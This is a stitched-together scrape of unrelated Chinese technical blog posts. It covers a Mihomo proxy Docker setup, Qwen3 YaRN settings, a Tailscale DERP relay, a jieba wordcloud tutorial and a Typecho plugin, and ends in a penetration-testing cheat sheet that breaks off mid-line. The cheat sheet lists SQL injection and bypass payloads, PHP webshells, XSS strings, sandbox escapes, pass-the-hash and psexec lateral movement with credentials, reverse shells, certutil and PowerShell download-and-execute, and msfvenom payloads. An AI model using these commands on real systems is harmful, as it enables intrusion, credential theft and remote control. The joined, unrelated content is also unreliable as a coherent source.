"(?i)^(?!.*(?:🇭🇰|🇯🇵|🇺🇸|🇸🇬|🇨🇳|港|hk|hongkong|台|tw|taiwan|日|jp|japan|新|sg|singapore|美|us|unitedstates)).*" - name: 全部节点 type: select include-all: true - name: 自动选择 type: url-test include-all: true tolerance: 10 rules: - GEOIP,lan,直连,no-resolve - GEOSITE,twitter,Twitter - GEOSITE,youtube,YouTube - GEOSITE,category-ai-!cn,海外AI - GEOSITE,github,Github - GEOSITE,google,Google - GEOSITE,telegram,Telegram - GEOSITE,netflix,NETFLIX - GEOSITE,bilibili,哔哩哔哩 - GEOSITE,bahamut,巴哈姆特 - GEOSITE,spotify,Spotify - GEOSITE,CN,国内 - GEOSITE,geolocation-!cn,其他 - GEOIP,CN,国内 - MATCH,其他 第二步：构建 Docker Compose 我们将同时部署 Mihomo 核心 和 Metacubexd (WebUI)。 在 mihomo 文件夹同级或任意位置，创建 docker-compose.yml。 🌟 关键配置说明 (TUN 模式支持)： 为了支持 TUN 模式（虚拟网卡），容器必须拥有网络管理权限。我们在配置中加入了 cap_add: [NET_ADMIN] 和 devices: [/dev/net/tun]，这是实现透明代理的关键。 version: '3' services: # Web 管理面板 metacubexd: container_name: metacubexd #image: ghcr.io/metacubex/metacubexd # 国内加速源 image: ghcr.1ms.run/metacubex/metacubexd restart: always ports: - '9097:80' # WebUI 访问端口 # Mihomo 核心 mihomo: container_name: mihomo #image: docker.io/metacubex/mihomo:latest # 国内加速源 image: docker.1ms.run/metacubex/mihomo:latest restart: always pid: host ipc: host network_mode: host # 推荐使用 Host 模式，性能最好且便于处理 IPv6 # --- TUN 模式核心配置 --- cap_add: - NET_ADMIN # 赋予网络管理权限 devices: - /dev/net/tun:/dev/net/tun # 映射宿主机的 TUN 设备 volumes: # ⚠️ 注意：冒号左边请修改为你 config.yaml 所在的实际绝对路径 - ./mihomo:/root/.config/mihomo 第三步：启动与初始化 1. 启动容器 在 docker-compose.yml 所在目录执行： sudo docker-compose up -d 如果是飞牛OS等图形化系统，请直接在 Docker 管理器中“使用现有 Compose 文件”创建项目即可。 2. 解决规则文件下载失败 (Fatal Error) 初次启动时，查看日志可能会发现如下报错： level=fatal msg="Parse config error... can't download MMDB: context deadline exceeded" 这是因为网络环境导致容器无法自动下载 GeoIP/GeoSite 数据库。 解决方法： 前往 MetaCubeX/meta-rules-dat 下载以下文件： geoip.dat geosite.dat country-lite.mmdb GeoLite2-ASN.mmdb 将这4个文件手动上传到宿主机的 mihomo 文件夹（与 config.yaml 同级）。 重启容器：sudo docker-compose restart mihomo 第四步：配置 WebUI 打开浏览器访问：http://设备IP:9097。 进入设置页面，添加后端： API Base URL: http://设备IP:9090 Secret: 在 config 第 6 行设置的 API 访问密钥 点击添加，连接成功后即可看到流量仪表盘和节点选择界面。 进阶：关于 TUN 模式与透明代理 TUN 模式允许 Mihomo 创建一个虚拟网卡，接管设备上所有层级的流量（包括不走系统代理的终端命令、游戏等）。 为什么需要特殊权限？ 在 Docker 中，默认容器是没有权限创建网络设备的。要启用 TUN 模式，必须在启动参数中显式声明： --cap-add=NET_ADMIN：允许容器修改网络堆栈。 --device=/dev/net/tun：允许容器访问 Linux 的 TUN 字符设备。 在本文提供的 docker-compose.yml 中，我们已经默认添加了这两项配置。 如何启用？ 确保 Docker 配置已包含上述权限参数。 在 WebUI 的设置页面中勾选 TUN 模式。 或者在 config.yaml 中将 tun: enable 设置为 true 并重启容器。 此时，配合路由表的设置，Mihomo 即可变身为一个网关，实现透明代理。 Q&A 常见问题 Q1: "Failed to fetch" 无法连接后端？ A: 检查 WebUI 中填写的后端地址端口是否为 9090（不是 9097），并确保 config.yaml 中 external-controller 监听的是 0.0.0.0:9090。 Q2: 为什么不使用在线版的 WebUI (如 yacd)？ A: 在线版面板（通常是 HTTPS）因浏览器安全策略（混合内容拦截），往往无法连接到你本地的 HTTP 后端（Mihomo）。使用 Docker 自建本地版 WebUI 最稳定。 Q3: 如何在其他设备上使用这个代理？ A: 在其他设备（手机/电脑）的 Wi-Fi 代理设置中，填入 IP: 宿主机IP，端口: 7890。 相关链接 Mihomo 项目仓库 Mihomo 官方文档 Metacubexd 面板仓库
Qwen3 模型原生支持 32,768 个 token 的上下文长度。对于超出此限制的长文本，官方推荐使用 YaRN (Yet another RoPE-based Neural network scaling) 扩展技术。YaRN 是一种基于旋转位置编码（RoPE）的扩展方法，已验证可将上下文长度扩展至 131,072 个 token，并被 transformers、llama.cpp、vllm 和 sglang 等多个推理框架支持。 要启用 YaRN，需配置以下关键参数： rope_scaling: 一个配置 RoPE 缩放策略的字典。 rope_type: 字符串类型，指定缩放类型。启用 YaRN 时，其值为 "yarn"。 factor: 浮点数，定义上下文窗口扩展的倍数。例如，4.0 表示将原始长度扩展四倍。 original_max_position_embeddings: 整数，表示模型的原始最大上下文长度，对于 Qwen3，其值为 32768。 max_model_len: 整数，最终设置的模型最大上下文长度，应与 factor 的乘积相匹配。 解决方案：两种配置方式 根据官方文档，有以下两种主要方法来启用 YaRN。 1. 修改模型配置文件（推荐） 这是最直接且不易出错的方法，完全规避了命令行参数解析的复杂性。 定位文件: 打开 Qwen3 模型目录下的 config.json 文件。 添加配置: 在文件中添加或修改 rope_scaling 字段，并设置 max_model_len。 JSON "rope_scaling": { "rope_type": "yarn", "factor": 4.0, "original_max_position_embeddings": 32768 }, "max_model_len": 131072 这种方法配置一次即可永久生效，特别适用于生产环境部署。 2. 命令行参数传递 对于不同的推理框架，命令行参数的格式有所不同。 vLLM: Bash VLLM_USE_MODELSCOPE=true vllm serve ... --rope-scaling '{"rope_type":"yarn","factor":4.0,"original_max_position_embeddings":32768}' --max-model-len 131072 sglang: Bash SGLANG_USE_MODELSCOPE=true python -m sglang.launch_server ... --json-model-override-args '{"rope_scaling":{"rope_type":"yarn","factor":4.0,"original_max_position_embeddings":32768}}' llama.cpp: Bash llama-server ... --rope-scaling yarn --rope-scale 4 --yarn-orig-ctx 32768 命令行参数的格式因框架而异，需特别注意。 推荐模型参数与最佳实践 在启用 YaRN 长文本支持后，为了获得最佳推理效果，还需关注以下生成参数和最佳实践： 采样参数 对于思考模式（enable_thinking=True），使用 Temperature=0.6、TopP=0.95、TopK=20 和 MinP=0。不要使用贪婪解码，因为它可能导致性能下降和无尽的重复。 对于非思考模式（enable_thinking=False），我们建议使用 Temperature=0.7、TopP=0.8、TopK=20 和 MinP=0。 对于支持的框架，您可以将 presence_penalty 参数调整在 0 到 2 之间以减少无尽的重复。然而，使用较高的值偶尔会导致语言混杂和模型性能轻微下降。 其他重要提示 性能考量: 大部分开源框架都实现了静态 YaRN。我们建议仅在需要处理长上下文时才启用 YaRN，因为它可能影响处理较短文本时的性能。 factor 调整: 官方建议根据典型上下文长度调整 factor，例如，若应用场景的上下文长度通常为 65,536 个 token，则将 factor 设置为 2.0。 版本兼容性: 若遇到 Unrecognized keys in rope_scaling 警告，请升级 transformers 至 4.51.0 或更高版本。 显存需求: 扩展上下文长度会显著增加显存消耗。处理 131,072 个 token 的文本可能需要比原生长度多占用 30-40% 的显存。 输出长度: 对于大多数查询，建议设置 32,768 个 token 的输出长度。对于复杂问题，最大输出长度可设置为 38,912，为模型提供足够的空间生成详细回答。
自搭建 Tailscale DERP 服务器并使用客户端验证(verify-clients)
Tailscale DERP（Distributed, Encrypted, and Resilient Packet Relay）服务器是 Tailscale 网络中用于中继流量的组件，尤其适用于网络环境复杂或直连困难的场景，但是国内网络连接官方提供的 derp 服务器时普遍存在延迟高，速度慢，甚至几乎无法使用的情况。所以产生了自建私有 derp 流量中转服务器的需求，以便在 p2p 无法直连打洞成功的场景下能够实现和使用低延迟，高速度的 tailscale 流量中继服务。以下是使用 Docker 搭建 Tailscale DERP 服务器的详细步骤： 环境准备 操作系统：推荐使用 Linux 系统，如 Ubuntu、Debian 等，因为 Docker 在 Linux 上的性能和兼容性更佳。 Docker 环境：确保已安装 Docker。可以通过运行 docker --version 命令来检查 Docker 是否已安装。 Tailscale 客户端：在宿主机上安装并启动 Tailscale 客户端，以便 DERP 服务器能够与 Tailscale 网络通信。 网络配置：确保服务器的网络配置正确，能够正常访问外网，且对应的端口没有被防火墙阻止。 搭建步骤 1. 安装并启动 Tailscale 客户端 在宿主机上安装 Tailscale 客户端，并启动它。安装方法因操作系统而异，具体可以参考 Tailscale 官方文档。 启动 Tailscale 客户端后，它会在 /var/run/tailscale 目录下创建一个名为 tailscaled.sock 的套接字文件。 2. 拉取 Docker 镜像 从 Docker Hub 拉取 deepfal/tailscale-derp 镜像。该镜像已经包含了搭建 DERP 服务器所需的全部依赖和配置。 docker pull deepfal/tailscale-derp:latest 3. 运行 DERP 服务器容器 使用以下命令启动 DERP 服务器容器。该命令会将 DERP 服务器映射到宿主机的指定端口，并挂载必要的文件和目录。 docker run -d \ --name tailscale-derp \ --restart unless-stopped \ -p 0.0.0.0:59443:36666 \ -p 0.0.0.0:3478:3478/udp \ -v /run:/var/run:ro \ deepfal/tailscale-derp:latest \ ./derper \ -hostname derp.deepfal.cn \ -a :36666 \ -certmode manual \ -certdir /ssl \ --verify-clients 参数解释 -d：后台运行容器。 --name tailscale-derp：指定容器名称为 tailscale-derp。 -p 0.0.0.0:59443:36666：将容器的 36666 端口映射到宿主机的 59443 端口，允许外部访问。 -p 0.0.0.0:3478:3478/udp：将容器的 3478 端口映射到宿主机的 3478 端口，用于 UDP 通信。 -v /run:/var/run:ro：将宿主机的 Tailscale 套接字文件挂载到容器中，以便 DERP 服务器与 Tailscale 守护进程通信，挂载目录是为了防止客户端重启导致 socks 突然获取不到了导致 derp 工作异常，挂目录比较稳。 deepfal/tailscale-derp:latest：指定使用的 Docker 镜像。 ./derper：指定容器启动时运行的命令。 -hostname "derp.deepfal.cn"：设置 DERP 服务器的主机名。 -a ":36666"：指定 DERP 服务器监听的端口。 -certmode "manual"：指定证书模式为手动。 -certdir "/ssl"：指定证书目录。 --verify-clients：启用客户端验证。 4. 验证 DERP 服务器状态 启动容器后，可以通过以下命令查看 DERP 服务器的运行状态： docker logs tailscale-derp 如果看到类似 DERP server started 的日志信息，表示 DERP 服务器已成功启动。 5. 配置 Tailscale 客户端 在 Tailscale 后台配置中，添加自建 DERP 服务器的信息。具体配置方法如下： { "derpMap": { "OmitDefaultRegions": false, "Regions": { "910": { "RegionID": 910, "RegionCode": "自建节点(名称)", "Nodes": [ { "Name": "910", "RegionID": 910, "HostName": "宿主机IP", "InsecureForTests": true, "DERPPort": 59443 } ], "RegionName": "自建节点(名称)" } } } } 将 宿主机IP 替换为 DERP 服务器的实际 IP 地址。 添加 derp 节点之后就可以立即使用 tailscale netcheck 检查 derp 服务器是否在线了 注意事项 端口映射：确保宿主机的 59443 (tcp) 和 3478 (udp) 端口没有被其他服务占用，并且防火墙允许外部访问这些端口。
案例实操 准备资源 导入所需库import wordcloud import jieba 准备好源文件，屏蔽词文件，备用字体font_path = 'C:\Windows\Fonts\时尚中黑简体.ttf' file_path = '新建文本文档.txt' fake_path = 'stop_key.txt' 自定义变量alist = [] # btext = '' # fake_set = {1} #第三方屏蔽列集合 #根据文档特殊性而设计的自定义屏蔽词 stop_words = {'我们','这个','一个','可以','下来','这样','就是','用来', '非常','然后','这里','非常','大家','时候','上面','里面', '放在','首先','准备','出来','很多','其实','一些','拿出','还有','如果'} 读取数据集 #读入源文档 with open(file_path,'r',encoding='GBK',errors='ignore')as f: text = f.read() #type（text）:str #ignore errors #读入屏蔽词 with open (fake_path,'r',encoding='utf-8')as f: fake_data = f.readlines() #屏蔽词文件中，每一个词汇独占一行，因此逐行读取 #type（fake_data） is list. 这个列表里的每个元素都是str for i in fake_data: #遍历屏蔽词列表，每个i都是一个屏蔽词 fake_set.add(i.strip()) #将屏蔽词加入集合，集合具有无序独立性，会自动排除重复词 #扩充屏蔽词库 fake_set = fake_set|stop_words 分词 #alist装填分词句 for i in jieba.cut(text,cut_all=False): #text是源文档 #切分采用精确模式 #jieba.cut（）返回一个generate对象，使用for语句可以遍历此对象 #每一个i都是一个str alist.append(i.strip()) #循环结束后，alist列表里的若干个元素，都是通过jieba分好的词 # 剔除屏蔽词 for word in alist: #alist是一个装填分词的列表，里面的每一个元素都来自源文档 if word not in fake_set: #如果遍历到的词汇不是屏蔽词，那么就把这词接入btext btext += word btext +='/' #每个分词之间用/断开 #btext变量是一个较长的且已过滤屏蔽词的字符串str，每个分词之间由'/'断开 生成词云 # 实例化 wc = wordcloud.WordCloud(font_path=font_path, width=1920, height=1080, background_color="white") # 传入 str 对象 # 此处给 generate 传入的参数 btext 已手动除杂，无需在 wordcloud 的实例化参数中指明 stopwords wc.generate(btext) file = wc.to_file('11111.jpg') image = wc.to_image(） image.show() Demo 手动爬取 15 个沙雕营销号生活妙用视频文案，利用 jieba + wordcloud 统计高频词。 问题总结 文件读写统一编码格式 错误案例：读取多个编码格式不同的文件时，使用了统一的解码格式，导致文本乱码或屏蔽失效。 例如：屏蔽词文件 stop_key.txt 编码为 GBK，源文件 raw_text.txt 编码为 UTF-8。一开始写函数并没有注意到这个细节，而后整个程序的读文件操作都通过一个 read_file() function 进行，导致整个程序陷入了无限报错之中，拆东墙补西墙。 解决方案：给 read_file() function 自定义参数 mode，进而针对特殊编码的文件单独控制 encoding。 ps：此处分别用两个 open 强调文件编码不同 ps：在我没意识到文件编码异常之前，一直在调整统一的 encoding 试错，从 UTF-8 到 GBK 再到 GB18030，显然都不能解决问题。如果通过设置 errors=ignore 强行忽视非法编码，要么导致源文文本乱码，要么就会在词库过滤时发现 stop_words 集合并没有起作用（原因一致）。由此引发的 Error 信息如下。 UnicodeDecodeError: 'gbk' codec can't decode byte 0x80 in position 91: illegal multibyte sequence UnicodeDecodeError: 'utf-8' codec can't decode byte 0xbd in position 0: invalid start byteshell 补充：如果数据集从创建到调用都是自己通过python函数操作，往往不会出现编码格式错乱的问题（无非就 GBK 或 UTF-8 ）。出现问题很可能是数据集被创建后自己 手动 打开 修改 保存 了源文档！这时候保存的文档编码格式可能会分裂成 UTF-8，GBK，GB18030，Unicode，ANSI，GB2312，BIG5 等等常见的中文格式编码，这要看编辑器的默认转录格式 wordcloud易错参数解释 参数**stopwords接受的文本格式是set** 函数 **generate接受的文本格式是str** # 词云实例化 wc = wordcloud.WordCloud(stopwords=stop_words) print(type(stop_words)) # <class 'set'> # 词云生成 wc.generate(btext) print(type(btext)) # <class 'str'> 实验附件 这里呈上沙雕营销号文案 """接着利用剪刀剪下来一个正方形纸片。 利用我们的美工刀在上面裁剪一个小孔。 小孔裁剪好了。 大家肯定非常好奇。 这个是用来做什么的？ 其实这个就是我们用来阅读的一个小神器。 我们在阅读的时候。 可以将它放在我们的书上。 然后这样逐字阅读。 这个方法就是采用了我们小孔成像的原理。 这样我们阅读的时候就可以方便很多。 而且看得很清楚。 我们可以先把油桶的提手取下来 其实取下提手也是有小方法的 我们只要把这一圈齿片一片一片的往外掰 掰完以后，我们就可以把它取下来了 接下来我们看看它的妙用吧 家里衣服太多衣柜挂不下 我们只需把油桶上的塑料把手清洗干净 然后套在衣架上 这时我们将下一件衣服也挂在上面 这样就能为我们节省很多空间 我们拿出家里的吹风机 开启冷风档 大家看这个时候它散发出来的一股吸附力 能够将我们的一次性纸杯牢牢吸附在它的后盖上 能够轻松地吸附我们桌子上面的一些纸屑 热熔胶热熔胶热熔胶热熔胶热熔胶 然后将刀片黏在梳子上 我们准备一个卫生巾 把它贴在门把手侧面 妙用2用来戒烟 将风油精涂在香烟上 会有一股难闻的气味 吸烟者抽了就会头痛恶心 能达到减肥的效果 第三个妙用 我们可以在上面套一个垃圾袋 要当垃圾桶吗 这样把它放在我们卧室的床头上 在扔垃圾的时候就会变得非常容易了 如果觉得有异味的话 如果觉得有异味的话 我们扔完垃圾后可以盖上盖子 我们先来准备食材：馒头、蜂蜜还有洗洁精 我们拿出馒头在上面 均匀地涂抹一些蜂蜜 然后再加入适量的洗洁精 切记涂抹均匀o 然后我们把它放在老鼠经常出没的地方 老鼠一碰到找个馒头就会轻松挂掉了 原理解释 蜂蜜是甜性物质 涂抹它是为了吸引老鼠过来 而洗洁精本身就是有毒的液体，老鼠一沾到就会自然挂掉 你说涂点老鼠药上去1那我银A可能还能稍微能接受一点 可以我今天颠对洗清精的认识好吧 绝对不会出现老鼠 今天呢城西教大家用现有的材料自制胶水那个效果呢用起来跟买的 效果是擦不多的 首先我们只需要准备一点淀粉 淀粉就是那个玉米定粉啊 这个声音像我小学门口小卖店的老板 接着我们挤入洗洁精 大家看同样是有粘的效果的 希望对大家有所帮助 今天呢城西就跟大家讲一下 我们一定要在我们的钱包里面放一张纸 为什么呢？（为什么这个营销号不上字幕？） 作用可是非常的大啊 首先呢我们要拿出 一张这么大小的纸 裁剪出跟这里差不多大小 然后呢我们要在这个上面写上我们的姓名 姓名然后电话号码 然后呢还有家庭住址之类的 这个纸啊塞在最显眼的地方 把冰淇淋拿出来把肥皂弄成永淇淋装回袋子 另外我们还可以在废旧的鞋子里面 铺上一层锡箔纸 因为锡箔纸不怕烫 我们把它放在床头 就可以成为一个小小的烟灰缸啦 你为什么非要用个高跟鞋去做烟灰缸 实个烟灰缸就这么难吗 还要铺上锡销E 哇失响1你好讲究晚你，意识好强哦 是不是非常方便呢 而且也非常美观 像一件艺术品 火机放在水里以后还能开火吗 打火机大家常见特别的男生 今天我们就来做这实验 首先准畜一个打火机和一个气球 把气球套在打火机上面 然后端口打个死结 接者我们把用气球装好的打火机放进水里 来回浸泡几分钟后拿出来 会发生什么变化呢 我们把气球剪破口 然后把火机拿出来 开火试一下竟然还是能用的 火花比原来的还要大 原来打火机在的密封下浸水 还是可以用的 我们拿手机看电视时 可以将塑料提手向后掰几下 这时再把手机放上去 这样我们手机支架就做好了 我们拿来一个家里面都有的废旧盒子 接着利用剪刀剪下来一个正方形纸片 利用我们的美工刀在上面裁剪一个小孔 这一次性纸杯相信大家都不陌生 很多朋友的家里都会买一些这种纸杯 用它来招待客人 但是你知道 在这些纸杯上面扎一些小洞 他有什么作用吗 下面跟三毛一起来了解一下吧 首先我们准备一个一次性纸杯 还有一个叉子 然后我们用叉子 在这个杯子的底部给他戳一个小洞 将杯子底部扎完小洞之后 然后我们再将这个纸杯 放到另一个杯子里面 接下来我们再到这杯子里面 放入少许的茶叶 添加适量的茶叶之后 我们再倒入适量的开水 添加开水之后我们让它浸泡2-3分钟时间 浸泡2-3分钟时间后我们在将里面的杯子拿出来 我们现在可以看到 杯子里面的茶叶已经全部给过滤出来了 非常的方便 用这个方法来泡茶喝 它还可以节省茶叶 这么一点点茶叶我们可以泡好几杯茶 小妙招 超实用的小妙招 学会了快告诉妈妈 准备一张吸油纸 将牙膏一粒一粒均匀地挤在纸上 然后撒上小苏打 等待凝固后 把它装进小瓶子里 刷牙的时候倒出一粒 就可以直接刷牙了 将香皂融化吸入针管 然后挤入药板模型里面 用锡纸封柱模板 旅游的时候带在身上 随时随地都可以用来洗手 废旧的牙刷还有怎样的妙用呢 跟我来看看 我们先准备两个差不多的牙刷 用皮筋将它们绑起来 那么这两支牙刷的第一个作用就是用来清洗水龙头 由于水龙头的形状比较特殊 所以它的内侧经常很难清理到 将牙刷取开 然后均匀的擦拭 可以看到里外都清理的非常干净 而且可以随时调换位置 喝茶剩下的茶叶根不要扔 我们还可以拿它来做很实用的东西 首先将茶叶取出来 挤干水分放入盘中 然后翻在太阳下晒干 晒好后 将我们穿的袜子脱下来一只 将晒干的茶叶倒入袜子中 扎好口 一个便携的香袋就完成了 茶香四溢 怎么样 是不是很实用呢 如果实用别忘记点赞 """ 转自：Echosec @QIN2DIM版权属于：QIN2DIM原文链接：https://blog.echosec.top/p/python-jieba-wrodcloud/转载时须注明出处及本声明
食用指南 操作前请做好相应备份工作 此插件只适用于Handsome主题，未对其它主题优化！！！ 请先将插件置于Typecho的plugins目录下，且插件目录名应为UserAgent，注意大小写，否则将无法正常食用！！！ 修改Handsome主题，component目录下的comments.php代码文件，大概第60~80行左右， <?php echo $author; ?><?php echo $Identity; ?> 添加代码<?php UserAgent_Plugin::get_useragent($comments->agent,$comments->ip); ?> ，修改后代码如下： <?php echo $author; ?><?php echo $Identity; ?><?php UserAgent_Plugin::get_useragent($comments->agent,$comments->ip); ?> 获取真实IP Typecho开启CDN后，可能无法获取访客真实IP，只能取得CDN节点IP，为此可以在Typecho博客网站的根目录的config.inc.php插入下面的代码： //** 防止CDN造成无法获取客户真实IP地址 */ if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $list = explode(',',$_SERVER['HTTP_X_FORWARDED_FOR']); $_SERVER['REMOTE_ADDR'] = $list[0]; } [button color="info" icon="" url="https://pan.deepfal.cn/api/v3/file/source/8857/UserAgent.zip?sign=GJ2gpWXltFLgkZet4q0LFk0WfcekZuGKLMdF_lVbZXw%3D%3A0" type="round"]下载插件[/button]
本文章仅作技术研究，请勿用作非法途径! Web SQL Inject 联合查询爆显示位 union select 1,user(),3 联合查询爆表名 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+ 联合查询爆字段名 union select 1,2,group_concat(column_name) from information_schema.column where table_schema='users' --+ 联合查询爆字段值 union select 1,username,password from `key` --+ 万能密码 admin' or'1'='1' 布尔盲注测试 and length(database())=4 --+ 时间盲注测试 or if(ascii(substr(database(),1,1))>0,sleep(1),1) --+ floor报错注入 select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a); extractvalue报错注入 select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e))); info outfile写文件 select '<?php phpinfo();?>' into outfile '/var/www/html' load_file 读文件 union select load_file('/etc/passwd') access and (select count(*) from msysobjects)>0 and 1=1 mssql and (select count(*) from sysobjects)>0 and 1=1 oracle and (select count(*) from sys.user_tables)>0 and 1=1 Bypass 大小写 uNIoN sELecT 1,2,3 空格绕过 /**/%55nION/**/%53ElecT/**/1,2,3Select(user())from test where id=1 and 1=1; 内联注释 /*!UNION*/+/*!SELECT*/+1,2,3/*UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM/*information_schema*/.tables /*!WHERE*/+/*!TaBlE_ScHeMa*/+like+database()--- 双写绕过 UNIunionON+SELselectECT+1,2,3 编码绕过 URLEncode编码：or 1=1即%6f%72%20%31%3d%31 ASCII编码： Test：CHAR(84)+CHAR(101)+CHAR(115)+CHAR(116) 十六进制编码：SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61)) PHP伪协议 php伪协议，以base64编码输出 php://filter/read=convert.base64-encode/resource=index.php php伪协议，以base64编码写入 php://filter/write=convert.base64-decode/resource=xx.php data协议命令执行 data:text/plain,<?php system('whoami');?> 一句话木马 php <?php eval($_POST['pwd']);?> asp <%execute(request('pwd'))%> aspx <% @Page Language='jscript'%><%eval(Request.Item['pwd'],'unsafe');%> 生成图片马 copy 1.jpg /b + 1.php /b shell.php XSS Payload alert(document.cookie)</script ' onmouseover='alert(/xss/) " onclick="alert(/xss/) javascript:alert(/xss/) Python沙箱逃逸 python2沙箱逃逸 "".__class__.__mro__[-1].__subclasses__()[71].__init__.globales__['os'].system('ls') python3沙箱逃逸 "".__class__.__mro__[-1].__subclasses__()[117].init__.globales['system']('ls') PHP命令执行 <?php $cmd=$_POST['cmd'];@exec($cmd,$return);var_dump($return);?> <?php $last_line = system("ls",$retval);echo $last_line;?> <?php $output = passthru("ls -la");echo " $output ";?> <?php $output = shell_exec('ls -la');echo " $output ";?> <?php $fd = popen("whoami", 'r');$ret = fgets($fd);print($ret);?> <?php $command=$_GET['a']; $wsh = new COM('WScript.shell'); $exec = $wsh->exec("cmd /c".$command); $stdout = $exec->StdOut(); $stdoutput = $stdout->ReadAll(); echo $stdoutput ?> PHP代码执行 <?php @eval($_POST['cmd']);?> <?php @assert($_POST['cmd']);?> <?php echo "{${phpinfo()}}";?> <?php call_user_func("assert",$_POST['cmd']);?> <?php preg_replace("/test/e",$_POST['cmd'],"just test");?> <?php $func = create_function('',$_POST['cmd']);$func;?> <?php $cmd=$_POST['cmd'];$array[0]=$cmd;call_user_array("assert",$array);?> <?php $cmd=$_POST['cmd'];$array1=array($cmd);$func=$_GET['func'];array_filter($array1,$func);?> <?php $func=$_GET['func'];$cmd=$_POST['cmd'];$ayyar[0]=$cmd;$new_array=array_map($func,$array);echo $new_array;?> 横向渗透 WMIC wmic /node:10.10.10.201 /user:administrator /password:hetianlab.com process call create "cmd.exe /c ipconfig" IPC + Schtasks net use \\10.10.10.201\c$ /user:administrator "hetianlab.com" copy c:\windows\temp\59.exe \\10.10.10.201\c$ schtasks /create /s 10.10.10.201 /u de1ay\administrator /p "hetianlab.com" /sc MINUTE /mo 1 /tn test2 /tr "c:\59.exe" schtasks /run /s 10.10.10.201 /u de1ay\administrator /p "hetianlab.com" /tn test2 schtasks /delete /tn At1 /s 10.10.10.201 /u administrator /p hetianlab.com IPC + AT net use \\10.10.10.201\c$ /user:administrator "hetianlab.com" copy 59.exe \\10.10.10.201\c$ at \\10.10.10.201 19:08 c:\59.exe Smbexec smbexec.exe heetian\Administrator:hetianlab.com@10.10.10.201 Psexec PsExec.exe \\192.168.10.201 -h heetian\Administrator -p hetianlab.com -s cmd.exe -accepteula PTH mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:10.10.10.201 /ntlm:579110c49145015c47ecd267657d3174" exit wmiexec.exe -hashes aad3b435b51404eeaaad3b435b51404ee:579110c49145015c47ecd267657d3174 administrator@10.10.10.201 "whoami" smbexec.exe -hashes aad3b435b51404eeaaad3b435b51404ee:579110c49145015c47ecd267657d3174 administrator@10.10.10.201 Wmiexec wmiexec.exe -share admin$ administrator:hetianlab.exe@10.10.10.201 渗透测试 反弹shell Bash bash -i >& /dev/tcp/192.168.1.1/3344 0>&1 0<&196;exec 196<>/dev/tcp/192.168.1.1/3344; bash <&196 >&196 2>&196 NC nc -e /bin/bash 192.168.1.1 3344 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.1.1 3344 > /tmp/f PHP php -r '$sock=fsockopen("192.168.1.1",3344);exec("/bin/bash -i <&3 >&3 2>&3");' Telnet telnet 192.168.1.1 8080 | /bin/bash | telnet 192.168.1.1 9090 crontab * * * * * /bin/bash -i >& /dev/tcp/192.168.1.1/1234 0>&1 Socat socat TCP:192.168.1.1:3344 EXEC:bash socat TCP:192.168.1.1:3344 EXEC:"bash -li",pty,stderr,setsid,sigint,sane 获得伪终端 python -c 'import pty;pty.spawm("/bin/bash")' 信息收集 dig @223.5.5.5 hetianlab.com -t A nslookup hetianlab.com 223.5.5.5 nmap -sn -Pn hetianlab.com --script hostmap-crtsh whois hetianlab.com site:hetianlab.com web inurl:login intext:蚁景网安学院 intitle:后台登录 filetype:xls 身份证 文件传输 bitsadmin下载文件 bitsadmin /transfer lan http://192.168.1.2/1.hta C:\temp\1.hta certutil下载文件并执行 certutil.exe -urlcache -split -f http://192.168.1.2/shell.exe shell.exe & shell.exe certutil清除缓存 certutil.exe -urlcache -split -f http://192.168.1.2/shell.exe delete powershell下载文件 powershell -c "$p=new-object system.net.webclient;$p.DownloadFile('http://192.168.1.2/1.hta','1.hta')" powershell.exe (new-object system.net.webclient).downloadfile('http://192.168.1.2/1.hta','1.hta') powershell Invoke-WebRequest -uri "http://192.168.1.2/1.hta" -OutFile "$env:temp\1.hta" wget wget http://192.168.1.2/1.sh wget -O x.sh http://192.168.1.2/1.sh curl curl -o x.hta http://192.168.1.2/1.sh curl -O http://192.168.1.2/1.sh PHP php -r 'file_put_contents("lan.hta",file_get_contents("http://192.168.1.2/1.sh"));' Python python2 -c "import urllib2;u=urllib2.urlopen('http://192.168.1.2/1.hta');f=open('c:\\temp\\win.hta','w');f.write(u.read());f.close" python3 -c "import urllib.request;u=urllib.request.urlopen('http://192.168.1.2/1.hta');f=open('c:\\temp\\win.hta','w');f.write(u.read().decode('utf-8'))" Ruby ruby -e 'require "net/http";Net::HTTP.start("192.168.1.227") { [http]r=http.get("/1.sh");open("/root/x.sh","wb") {[file]file.write(r.body)}}' Perl perl -MLWP::Simple -e 'getstore ("http://192.168.1.2/1.sh", "1.sh")' Powershell加载远程脚本 powershell -nop -w hidden -exec bypass -c "IEX (New-Object New.WebClient).DownloadString('http://192.168.1.2/shell.ps1');shell.ps1"; 工具 Mimikatz 启动mimikatz mimikatz.exe # privilege::debug # log c:\temp\mimikatz.log 获取登录账号的明文密码和Hash值 # sekurlsa::logonpasswords 备份注册表中的SYSTTEM & SAM hive C:\> reg save HKLM\SYSTEM system.hiv C:\> reg save HKLM\SAM sam.hiv mimikatz获取hashs # lsadump::sam /system:system.hiv /sam:sam.hiv 读取从lsass进程中保存文件里的明文密码 # sekurlsa::minidump lsass.dump NMAP 基础扫描 nmap -A -T4 192.168.1.1 存活主机探测 nmap -sP 192.168.1.1/24 全端口扫描 nmap -sS -v -T4 -Pm -p- 192.168.1.1 系统扫描 nmap -O -T4 -Pn -oG OSDetect 192.168.1.1 服务版本检测 nmap -sV -T4 -Pn -oG ServiceDetect 192.168.1.1 waf识别 nmap -p80,443 --script http-waf-detect 192.168.1.1 nmap -p80,443 --script http-waf-fingerprint 192.168.1.1 Msfvenom Windows msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe -o /tmp/shell.exe Linux msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP> LPORT=<Port> -f elf > shell.elf Mac msfvenom -p osx/x86/shell_reverse_tcp LHOST=<IP> LPORT=<Port> -f macho > shell.macho Bash msfvenom -p cmd/unix/reverse_bash LHOST=<IP> LPORT=<Port> -f raw > shell.sh PHP msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<Port> -f raw > shell.php JSP msfvenom 